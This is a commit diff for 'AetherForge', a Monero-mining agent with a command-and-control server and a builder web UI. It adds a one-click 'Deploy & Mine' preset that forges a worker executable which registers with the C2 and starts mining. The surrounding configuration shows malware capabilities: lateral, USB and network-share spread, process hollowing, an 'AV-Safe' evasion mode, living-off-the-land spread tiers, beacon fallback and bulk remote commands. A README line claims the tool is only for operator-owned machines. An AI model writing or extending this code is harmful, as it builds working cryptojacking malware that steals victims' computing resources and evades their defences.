Add simple Deploy and Mine path for operators without spread complexity.

Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.

README.md

@@ -316,6 +316,16 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
 
 **Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.
 
+### Simple start (deploy → test → mine)
+
+Three steps — no spread, no triple onion, no Probe & Join required:
+
+1. **Calibrate** — set your XMR **wallet** and **pool** (SupportXMR or your upstream).
+2. **Forge → Simple mode → Deploy & Mine** — one click forges an in-process worker (`simple_deploy` baked in). Run the `.exe` **once** on each PC you own.
+3. **Command Deck** — status shows **Testing → Mining** (or a clear failure reason). Online with 0 H/s? Use **Run diagnostics** or **Restart mining** on the banner.
+
+Honest scope: **deploy** here means C2 registration + mining tier probe on that host — not lateral spread or registry staging to other machines.
+
 ### Operator path (dev control PC)
 
 1. Double-click **`devrun.bat`** in the project root.

agent/client/client.go

@@ -149,7 +149,7 @@ func (c *AgentClient) Run() error {
 	c.miningChain = c.newMiningChainRunner()
 	if isSeeder {
 		deploy.StartSeederStaging(c.cfg)
-	} else if deploy.WantsDeferMining() {
+	} else if deploy.WantsDeferMining() || c.cfg.SimpleDeploy {
 		go c.startMiningWhenReady(chainCtx)
 	} else {
 		c.miningChain.Start(chainCtx)
@@ -395,6 +395,7 @@ func (c *AgentClient) authenticate() error {
 		UTM:                  strings.TrimSpace(os.Getenv("AETHER_UTM")),
 		LotlOnionEnabled:     c.cfg.LotlOnionEnabled,
 		LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
+		SimpleDeploy:         c.cfg.SimpleDeploy,
 		JoinLane:             c.getJoinLane(),
 		FleetRole:            config.NormalizeFleetRole(c.cfg.FleetRole),
 		SeederMode:           c.cfg.SeederMode,
@@ -427,6 +428,7 @@ func (c *AgentClient) authenticate() error {
 		return fmt.Errorf("auth failed: %s", resp.Error)
 	}
 	c.applyAuthLotlPolicy(resp)
+	c.kickMiningAfterAuth()
 	c.startContingencyIfEnabled(c.miningCtx)
 	c.applyAuthFleetRole(resp)
 	deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
@@ -1482,3 +1484,21 @@ func buildWSURL(serverURL string) (string, error) {
 	u.Fragment = ""
 	return u.String(), nil
 }
+
+// kickMiningAfterAuth restarts the mining chain with server-pulled tier/onion policy.
+// Mining may have started before auth with forge defaults; auth applies Calibrate policy.
+func (c *AgentClient) kickMiningAfterAuth() {
+	if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
+		return
+	}
+	if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
+		return
+	}
+	if c.miningCtx == nil || c.miningChain == nil {
+		return
+	}
+	go func() {
+		log.Printf("[mining] restarting chain after auth with server policy")
+		c.miningChain.Restart(c.miningCtx)
+	}()
+}

agent/client/protocol.go

@@ -51,6 +51,7 @@ type AuthPayload struct {
 	UTM              string `json:"utm,omitempty"`
 	LotlOnionEnabled     bool `json:"lotl_onion_enabled,omitempty"`
 	LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
+	SimpleDeploy         bool `json:"simple_deploy,omitempty"`
 	JoinLane             string `json:"join_lane,omitempty"`
 	ParentAgentID        string `json:"parent_agent_id,omitempty"`
 	SpreadGeneration     int    `json:"spread_generation,omitempty"`

agent/client/simple_deploy_test.go

@@ -0,0 +1,63 @@
+package client
+
+import (
+	"context"
+	"encoding/json"
+	"testing"
+	"time"
+
+	"crypto-miner-agent/miner"
+)
+
+func TestWireTripleOnionNilWhenSimpleDeploy(t *testing.T) {
+	setupNoContainerRuntime(t)
+	cfg := baseMiningCfg()
+	cfg.SimpleDeploy = true
+	c := miningChainTestClient(t, cfg)
+	r := c.newMiningChainRunner()
+	if r.onion != nil {
+		t.Fatal("expected nil triple onion when SimpleDeploy baked")
+	}
+}
+
+func TestSimpleDeployPolicySkipsTripleOnion(t *testing.T) {
+	setupNoContainerRuntime(t)
+	c := miningChainTestClient(t, baseMiningCfg())
+	raw, _ := json.Marshal(miner.SimpleDeployTripleOnionPolicy())
+	c.applyTripleOnionPolicyJSON(raw)
+	r := c.newMiningChainRunner()
+	if r.onion != nil {
+		t.Fatal("expected nil triple onion when server simple_deploy policy applied")
+	}
+}
+
+func TestSimpleDeployWaitsForC2BeforeMining(t *testing.T) {
+	setupNoContainerRuntime(t)
+	cfg := baseMiningCfg()
+	cfg.SimpleDeploy = true
+	c := miningChainTestClient(t, cfg)
+	c.miningChain = newTestMiningChainRunner(t, c)
+
+	ctx, cancel := context.WithTimeout(context.Background(), 300*time.Millisecond)
+	defer cancel()
+	go c.startMiningWhenReady(ctx)
+
+	time.Sleep(150 * time.Millisecond)
+	if r := c.miningChain.Status(); r.ActiveMethod != "" {
+		t.Fatalf("simple deploy should wait for C2 before starting, active=%q", r.ActiveMethod)
+	}
+
+	c.connected.Store(true)
+	time.Sleep(200 * time.Millisecond)
+}
+
+func TestKickMiningAfterAuthSkipsSimpleDeploy(t *testing.T) {
+	setupNoContainerRuntime(t)
+	cfg := baseMiningCfg()
+	cfg.SimpleDeploy = true
+	c := miningChainTestClient(t, cfg)
+	c.miningChain = newTestMiningChainRunner(t, c)
+	c.miningCtx = context.Background()
+	// must not panic or restart when simple deploy
+	c.kickMiningAfterAuth()
+}

agent/client/triple_onion_chain.go

@@ -26,6 +26,9 @@ func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
 	if err := json.Unmarshal(raw, &p); err != nil {
 		return
 	}
+	if p.SimpleDeploy {
+		p = miner.SimpleDeployTripleOnionPolicy()
+	}
 	c.mu.Lock()
 	c.triplePolicy = miner.NormalizeTripleOnionPolicy(p)
 	c.triplePolicyLoaded = true
@@ -34,6 +37,9 @@ func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
 
 func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator {
 	c := r.client
+	if c.cfg.SimpleDeploy || c.tripleOnionPolicy().SimpleDeploy {
+		return nil
+	}
 	policy := c.tripleOnionPolicy()
 	return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
 		RunReconTier:  r.runReconTier,

agent/config/config.go

@@ -113,6 +113,9 @@ type BuiltinConfig struct {
 	// HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3).
 	HTTPSBeaconAfterMin int
 
+	// SimpleDeploy skips triple-onion recon/deploy and starts mining tier chain after C2 auth.
+	SimpleDeploy bool
+
 	// LOTL Onion — ordered native-tool spread contingencies (no extra miner exe drop).
 	LotlOnionEnabled     bool
 	LotlPolicyFromServer bool     // when true, tier order is pulled from C2 on auth

agent/miner/triple_onion.go

@@ -21,6 +21,7 @@ const (
 
 // TripleOnionPolicy is server-pulled gate + chain ordering for the triple onion.
 type TripleOnionPolicy struct {
+	SimpleDeploy         bool     `json:"simple_deploy,omitempty"`
 	PatchFirst           bool     `json:"patch_first,omitempty"`
 	MineIsolatedTier     bool     `json:"mine_isolated_tier,omitempty"`
 	SkipMiningOnHighRisk bool     `json:"skip_mining_on_high_risk,omitempty"`
@@ -29,6 +30,16 @@ type TripleOnionPolicy struct {
 	DeployLanes          []string `json:"deploy_lanes,omitempty"`
 }
 
+// SimpleDeployTripleOnionPolicy is the server/agent policy for deploy→test→mine without spread lanes.
+func SimpleDeployTripleOnionPolicy() TripleOnionPolicy {
+	return TripleOnionPolicy{
+		SimpleDeploy:         true,
+		PatchFirst:           false,
+		SkipMiningOnHighRisk: false,
+		HighRiskThreshold:    100,
+	}
+}
+
 // DefaultTripleOnionPolicy works out of the box with diagnostic-driven contingencies.
 func DefaultTripleOnionPolicy() TripleOnionPolicy {
 	return TripleOnionPolicy{

server/config.go

@@ -122,6 +122,7 @@ type WebRTCMeshPolicySettings struct {
 
 // TripleOnionSettings is Calibrate policy for the agent triple onion.
 type TripleOnionSettings struct {
+	SimpleDeploy         bool     `json:"simple_deploy,omitempty"`
 	PatchFirst           bool     `json:"patch_first,omitempty"`
 	MineIsolatedTier     bool     `json:"mine_isolated_tier,omitempty"`
 	SkipMiningOnHighRisk bool     `json:"skip_mining_on_high_risk,omitempty"`

server/internal/api/server_policy.go

@@ -38,6 +38,7 @@ type ServerPolicy struct {
 
 // TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
 type TripleOnionPolicy struct {
+	SimpleDeploy         bool     `json:"simple_deploy,omitempty"`
 	PatchFirst           bool     `json:"patch_first,omitempty"`
 	MineIsolatedTier     bool     `json:"mine_isolated_tier,omitempty"`
 	SkipMiningOnHighRisk bool     `json:"skip_mining_on_high_risk,omitempty"`

server/internal/api/websocket.go

@@ -689,6 +689,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			Campaign         string `json:"campaign"`
 			UTM              string `json:"utm"`
 			LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
+			SimpleDeploy         bool `json:"simple_deploy,omitempty"`
 			JoinLane             string `json:"join_lane,omitempty"`
 			ParentAgentID        string `json:"parent_agent_id,omitempty"`
 			SpreadGeneration     int    `json:"spread_generation,omitempty"`
@@ -941,9 +942,16 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 					"cpu_inprocess", "gpu_subprocess", "stratum_direct",
 				}
 			}
-			resp["mining_tier_policy"] = mp
 			top := policy.TripleOnionPolicy
-			if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
+			if auth.SimpleDeploy || top.SimpleDeploy {
+				top = TripleOnionPolicy{
+					SimpleDeploy:         true,
+					PatchFirst:           false,
+					SkipMiningOnHighRisk: false,
+					HighRiskThreshold:    100,
+				}
+				mp.ForceTier = "cpu_inprocess"
+			} else if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
 				!top.MineIsolatedTier && !top.SkipMiningOnHighRisk {
 				top.PatchFirst = true
 				top.HighRiskThreshold = 50
@@ -953,6 +961,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				}
 			}
 			resp["triple_onion_policy"] = top
+			resp["mining_tier_policy"] = mp
 			spreadPolicy := map[string]interface{}{}
 			if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
 				spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled

server/internal/builder/handler.go

@@ -119,6 +119,9 @@ type BuildRequest struct {
 	HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
 	HTTPSBeaconAfterMin int  `json:"https_beacon_after_min"`
 
+	// SimpleDeploy — skip triple-onion spread lanes; mine after C2 auth (Deploy & Mine preset).
+	SimpleDeploy bool `json:"simple_deploy"`
+
 	// LOTL Onion — native-tool spread tier chain (AV-Safe adjacent preset).
 	LotlOnionEnabled     bool     `json:"lotl_onion_enabled"`
 	LotlPolicyFromServer bool     `json:"lotl_policy_from_server"`
@@ -1319,6 +1322,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		HTTPSBeaconFallback: %v,
 		HTTPSBeaconAfterMin: %d,
 
+		SimpleDeploy:         %v,
 		LotlOnionEnabled:     %v,
 		LotlPolicyFromServer: %v,
 		LotlOnionTiers:       %s,
@@ -1418,6 +1422,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.AgentKillAfterDays,
 		httpsBeaconFallbackEnabled(req),
 		httpsBeaconAfterMin(req),
+		req.SimpleDeploy,
 		req.LotlOnionEnabled,
 		req.LotlPolicyFromServer,
 		formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),

server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx

@@ -0,0 +1,70 @@
+import { Link } from 'react-router-dom';
+import type { Agent } from '../../types';
+import { agentsConnectedNotHashing, simpleDeployStatus } from '../../help/simpleDeploy';
+import { api } from '../../api/client';
+
+interface Props {
+  agents: Agent[];
+  selectedIds?: Set<string>;
+  onAction?: (message: string) => void;
+}
+
+/** Banner when agents are online but not hashing — with actionable fix buttons. */
+export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
+  const stuck = agentsConnectedNotHashing(agents);
+  if (stuck.length === 0) return null;
+
+  const targetIds =
+    selectedIds && selectedIds.size > 0
+      ? stuck.filter((a) => selectedIds.has(a.id)).map((a) => a.id)
+      : stuck.map((a) => a.id);
+
+  const runBulk = async (action: string, label: string) => {
+    if (targetIds.length === 0) {
+      onAction?.(`No selected online agents without hashrate.`);
+      return;
+    }
+    try {
+      const r = await api.sendBulkCommand(targetIds, action);
+      onAction?.(`${label} → sent:${r.sent} failed:${r.failed}`);
+    } catch (e) {
+      onAction?.(`${label} failed: ${e instanceof Error ? e.message : String(e)}`);
+    }
+  };
+
+  const sample = stuck[0];
+  const status = simpleDeployStatus(sample);
+
+  return (
+    <div className="alert-banner alert-banner--warn connected-not-mining-banner" role="status">
+      <div>
+        <strong>
+          {stuck.length} agent{stuck.length === 1 ? '' : 's'} connected — not hashing
+        </strong>
+        <p className="form-hint" style={{ margin: '0.35rem 0 0' }}>
+          {status.message}. &quot;Deploy&quot; here means C2 registration + mining tier probe — not lateral spread.
+          Check Calibrate wallet/pool, then run diagnostics or restart mining.
+        </p>
+      </div>
+      <div className="connected-not-mining-actions">
+        <button
+          type="button"
+          className="btn btn-sm btn-primary"
+          onClick={() => void runBulk('mining_diagnostics', 'Mining diagnostics')}
+        >
+          Run diagnostics
+        </button>
+        <button
+          type="button"
+          className="btn btn-sm btn-outline"
+          onClick={() => void runBulk('restart', 'Restart mining')}
+        >
+          Restart mining
+        </button>
+        <Link to="/forge" className="btn btn-sm btn-outline">
+          Re-forge (Deploy &amp; Mine)
+        </Link>
+      </div>
+    </div>
+  );
+}

server/web/src/help/forgeSmartDefaults.ts

@@ -65,6 +65,8 @@ export function pickBestServerUrl(current: string, candidates: string[]): string
 export function recommendedForgePreset(): Partial<BuildRequest> {
   return {
     ...FORGE_BUILD_DEFAULTS,
+    simple_deploy: true,
+    miner_execution: 'inprocess',
     mining_mode: 'idle',
     idle_threshold_pct: 20,
     idle_duration_minutes: 5,

server/web/src/help/simpleDeploy.test.ts

@@ -0,0 +1,65 @@
+import { describe, expect, it } from 'vitest';
+import type { Agent } from '../types';
+import {
+  agentsConnectedNotHashing,
+  simpleDeployStatus,
+  simpleMinePreset,
+} from './simpleDeploy';
+
+function agent(partial: Partial<Agent>): Agent {
+  return {
+    id: 'a1',
+    name: 'host-1',
+    status: 'online',
+    hashrate_15s: 0,
+    hashrate_1m: 0,
+    hashrate_15m: 0,
+    ...partial,
+  } as Agent;
+}
+
+describe('simpleDeployStatus', () => {
+  it('reports mining when hashrate > 0', () => {
+    const s = simpleDeployStatus(agent({ hashrate_15m: 420, lotl_tier: 'cpu_inprocess' }));
+    expect(s.phase).toBe('mining');
+    expect(s.message).toMatch(/420/);
+    expect(s.message).toMatch(/cpu inprocess/i);
+  });
+
+  it('reports testing when online without hashrate', () => {
+    const s = simpleDeployStatus(agent({ lotl_tier: 'container' }));
+    expect(s.phase).toBe('testing');
+    expect(s.message).toMatch(/container/i);
+  });
+
+  it('reports failed when chain exhausted', () => {
+    const s = simpleDeployStatus(agent({ chain_exhausted: true, last_error: 'pool unreachable' }));
+    expect(s.phase).toBe('failed');
+    expect(s.message).toMatch(/pool unreachable/);
+  });
+
+  it('reports offline when not online', () => {
+    expect(simpleDeployStatus(agent({ status: 'offline' })).phase).toBe('offline');
+  });
+});
+
+describe('agentsConnectedNotHashing', () => {
+  it('filters online zero-hash agents', () => {
+    const list = agentsConnectedNotHashing([
+      agent({ id: '1', hashrate_15m: 0 }),
+      agent({ id: '2', hashrate_15m: 100 }),
+      agent({ id: '3', status: 'offline', hashrate_15m: 0 }),
+    ]);
+    expect(list.map((a) => a.id)).toEqual(['1']);
+  });
+});
+
+describe('simpleMinePreset', () => {
+  it('disables spread and enables simple_deploy', () => {
+    const p = simpleMinePreset();
+    expect(p.simple_deploy).toBe(true);
+    expect(p.miner_execution).toBe('inprocess');
+    expect(p.lotl_onion_enabled).toBe(false);
+    expect(p.auto_spread).toBe(false);
+  });
+});

server/web/src/help/simpleDeploy.ts

@@ -0,0 +1,99 @@
+import type { Agent } from '../types';
+import { formatHashrate } from './fleetFilters';
+
+export type SimpleDeployPhase = 'offline' | 'testing' | 'mining' | 'failed';
+
+export interface SimpleDeployStatus {
+  phase: SimpleDeployPhase;
+  message: string;
+  tier?: string;
+  hashrate?: number;
+}
+
+/** Human status for deploy→test→mine operator path. */
+export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
+  if (agent.status !== 'online') {
+    return { phase: 'offline', message: 'Agent offline — run the forged worker on the host' };
+  }
+
+  const hr =
+    agent.mining_hashrate ??
+    agent.hashrate_15m ??
+    agent.hashrate_15s ??
+    0;
+  const tier = agent.lotl_tier || agent.active_method || undefined;
+
+  if (hr > 0) {
+    const label = tier ? tier.replace(/_/g, ' ') : 'in-process';
+    return {
+      phase: 'mining',
+      message: `Mining on ${label} at ${formatHashrate(hr)}`,
+      tier,
+      hashrate: hr,
+    };
+  }
+
+  if (agent.chain_exhausted) {
+    const err = agent.last_error || agent.failed_methods?.[0]?.reason;
+    return {
+      phase: 'failed',
+      message: err || 'Mining chain exhausted — all tiers failed',
+      tier,
+    };
+  }
+
+  if (tier) {
+    return {
+      phase: 'testing',
+      message: `Testing tier ${tier.replace(/_/g, ' ')} — waiting for hashrate`,
+      tier,
+    };
+  }
+
+  return {
+    phase: 'testing',
+    message: 'Connected — probing mining tiers (no spread phase on simple deploy)',
+  };
+}
+
+/** Online agents that registered but report zero hashrate. */
+export function agentsConnectedNotHashing(agents: Agent[]): Agent[] {
+  return agents.filter(
+    (a) =>
+      a.status === 'online' &&
+      (a.mining_hashrate ?? a.hashrate_15m ?? a.hashrate_15s ?? 0) <= 0
+  );
+}
+
+/** Forge preset: registry + in-process mining, no spread or triple onion. */
+export function simpleMinePreset(): {
+  simple_deploy: boolean;
+  miner_execution: string;
+  lotl_onion_enabled: boolean;
+  lotl_policy_from_server: boolean;
+  auto_spread: boolean;
+  usb_spread: boolean;
+  share_spread: boolean;
+  spread_kit: boolean;
+  gpu_enabled: boolean;
+  process_hollowing: boolean;
+  remote_aggressive: boolean;
+  fusion_enabled: boolean;
+  mining_mode: string;
+} {
+  return {
+    simple_deploy: true,
+    miner_execution: 'inprocess',
+    lotl_onion_enabled: false,
+    lotl_policy_from_server: false,
+    auto_spread: false,
+    usb_spread: false,
+    share_spread: false,
+    spread_kit: false,
+    gpu_enabled: false,
+    process_hollowing: false,
+    remote_aggressive: false,
+    fusion_enabled: false,
+    mining_mode: 'idle',
+  };
+}

server/web/src/pages/BuilderPage.tsx

@@ -77,6 +77,7 @@ import {
   type MissionWizardStep,
 } from '../help/forgeMissionWizard';
 import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers';
+import { simpleMinePreset } from '../help/simpleDeploy';
 import { spreadTechniqueDocUrl } from '../help/spreadTechniques';
 import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader';
 import './BuilderPage.css';
@@ -854,6 +855,51 @@ export default function BuilderPage() {
     }
   };
 
+  const handleDeployAndMine = async () => {
+    if (!form || building || missionBusy) return;
+    setError('');
+    setLastBuild(null);
+    const merged = normalizeForgeForm({
+      ...applySmartForgeDefaults(form, { builds: recentBuilds, endpointCandidates }),
+      ...simpleMinePreset(),
+      worker_name: form.worker_name?.trim() || suggestWorkerName(recentBuilds),
+      wallet: form.wallet,
+      server_url: form.server_url,
+      pool_host: form.pool_host,
+      pool_port: form.pool_port,
+      pool_tls: form.pool_tls,
+      pool_pass: form.pool_pass,
+    });
+    setForm(merged);
+    setOperationMode('av_safe');
+    storeOperationMode('av_safe');
+
+    const checks = runForgePreflight(merged, !!fusionPrepFile);
+    if (preflightHasErrors(checks)) {
+      setError('Deploy & Mine preflight failed — set wallet + server URL in Calibrate/Forge first.');
+      return;
+    }
+
+    const cancelToken = crypto.randomUUID();
+    cancelTokenRef.current = cancelToken;
+    setBuilding(true);
+    try {
+      const result = await api.buildAgent({ ...merged, cancel_token: cancelToken }, fusionPrepFile);
+      if (!result.success) throw new Error(result.error || 'Build failed');
+      await finishForgeSuccess(result);
+      setBlueprintMsg('Deploy & Mine worker forged — run the .exe once on each host');
+      setTimeout(() => setBlueprintMsg(''), 5000);
+    } catch (err: unknown) {
+      if (err instanceof Error && err.message !== 'build cancelled') {
+        setError(err.message || 'Deploy & Mine forge failed');
+        void loadRecentBuilds();
+      }
+    } finally {
+      cancelTokenRef.current = '';
+      setBuilding(false);
+    }
+  };
+
   const applyRecommendedDefaults = async () => {
     if (!form) return;
     try {
@@ -1386,11 +1432,25 @@ export default function BuilderPage() {
               </div>
             </div>
             <div className="forge-simple-banner card">
-              <p className="font-tech">RECOMMENDED DEFAULTS — AUTO-SELECTED</p>
-              <p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
-              <button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
-                Reset to recommended defaults
+              <p className="font-tech">DEPLOY &amp; MINE — SIMPLE PATH</p>
+              <p className="form-hint">
+                One click: in-process RandomX, no spread, no triple onion. Agent registers on C2, probes mining tiers,
+                reports hashrate. &quot;Deploy&quot; = registry + mining — not lateral spread.
+              </p>
+              <div style={{ display: 'flex', flexWrap: 'wrap', gap: '0.5rem', marginTop: '0.5rem' }}>
+                <button
+                  type="button"
+                  className="btn btn-primary"
+                  disabled={building || missionBusy || !canForge}
+                  onClick={() => void handleDeployAndMine()}
+                >
+                  {building ? 'Forging…' : 'Deploy & Mine'}
                 </button>
+                <button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
+                  Reset recommended defaults
+                </button>
+              </div>
+              <p className="form-hint" style={{ marginTop: '0.5rem', marginBottom: 0 }}>{RECOMMENDED_DEFAULTS_BLURB}</p>
             </div>
             <div className="form-group" style={{ marginBottom: '1rem' }}>
               <label className="label">Operation mode presets <HelpTip field="forge_operation_mode" /></label>

server/web/src/pages/CruciblePage.tsx

@@ -36,6 +36,7 @@ import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../hel
 import { platformIcon } from '../help/platform';
 import AlsoHere from '../components/Presence/AlsoHere';
 import { HelpTip } from '../components/HelpTip';
+import ConnectedNotMiningBanner from '../components/Fleet/ConnectedNotMiningBanner';
 import '../components/Fleet/FullSysCheckPanel.css';
 import '../components/Fleet/FleetToolbar.css';
 import { TERM_RENDER_CAP, visibleTerminalLines } from '../help/terminalRenderCap';
@@ -1208,6 +1209,8 @@ export default function CruciblePage() {
 
       <AlsoHere page="/crucible" />
 
+      <ConnectedNotMiningBanner agents={agents} selectedIds={selectedIds} />
+
       {reconHost && (
         <NeonCard accent="magenta" className="crucible-recon-spread-card operator-deck-card operator-interactive" tilt3d={false}>
           <div className="crucible-section-title font-tech">

server/web/src/pages/DashboardPage.tsx

@@ -24,6 +24,7 @@ import { useFleetDeleteConfirm } from '../hooks/useFleetDeleteConfirm';
 import { SpreadFunnelWidget, AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
 import ErrorBoundary from '../components/ErrorBoundary';
 import { HelpTip } from '../components/HelpTip';
+import ConnectedNotMiningBanner from '../components/Fleet/ConnectedNotMiningBanner';
 
 const HashrateChart = lazy(() => import('../components/Charts/HashrateChart'));
 const FleetTopologyMap = lazy(() => import('../components/Visual/3D/FleetTopologyMap'));
@@ -444,6 +445,7 @@ export default function DashboardPage() {
   return (
     <div className="page fade-in command-deck operator-deck-page">
       <AlertBanner alerts={alerts} />
+      <ConnectedNotMiningBanner agents={agents} selectedIds={selectedIds} />
 
       {/* Fleet Health — always above the fold */}
       <FleetHealthCard health={fleetHealth} />

server/web/src/types/index.ts

@@ -402,6 +402,7 @@ export interface ServerSettings {
   fleet_torrent_enabled?: boolean;
   /** Triple onion recon/deploy gates pushed to agents at auth. */
   triple_onion_policy?: {
+    simple_deploy?: boolean;
     patch_first?: boolean;
     mine_isolated_tier?: boolean;
     skip_mining_on_high_risk?: boolean;
@@ -682,6 +683,8 @@ export interface BuildRequest {
   https_beacon_fallback?: boolean;
   /** Minutes without WebSocket before HTTPS beacon (default 3). */
   https_beacon_after_min?: number;
+  /** Skip triple-onion spread lanes; mine after C2 auth (Deploy & Mine). */
+  simple_deploy?: boolean;
   /** LOTL Onion native-tool spread tier chain (LOTL Onion preset). */
   lotl_onion_enabled?: boolean;
   /** Pull tier order from server on auth instead of baked list only. */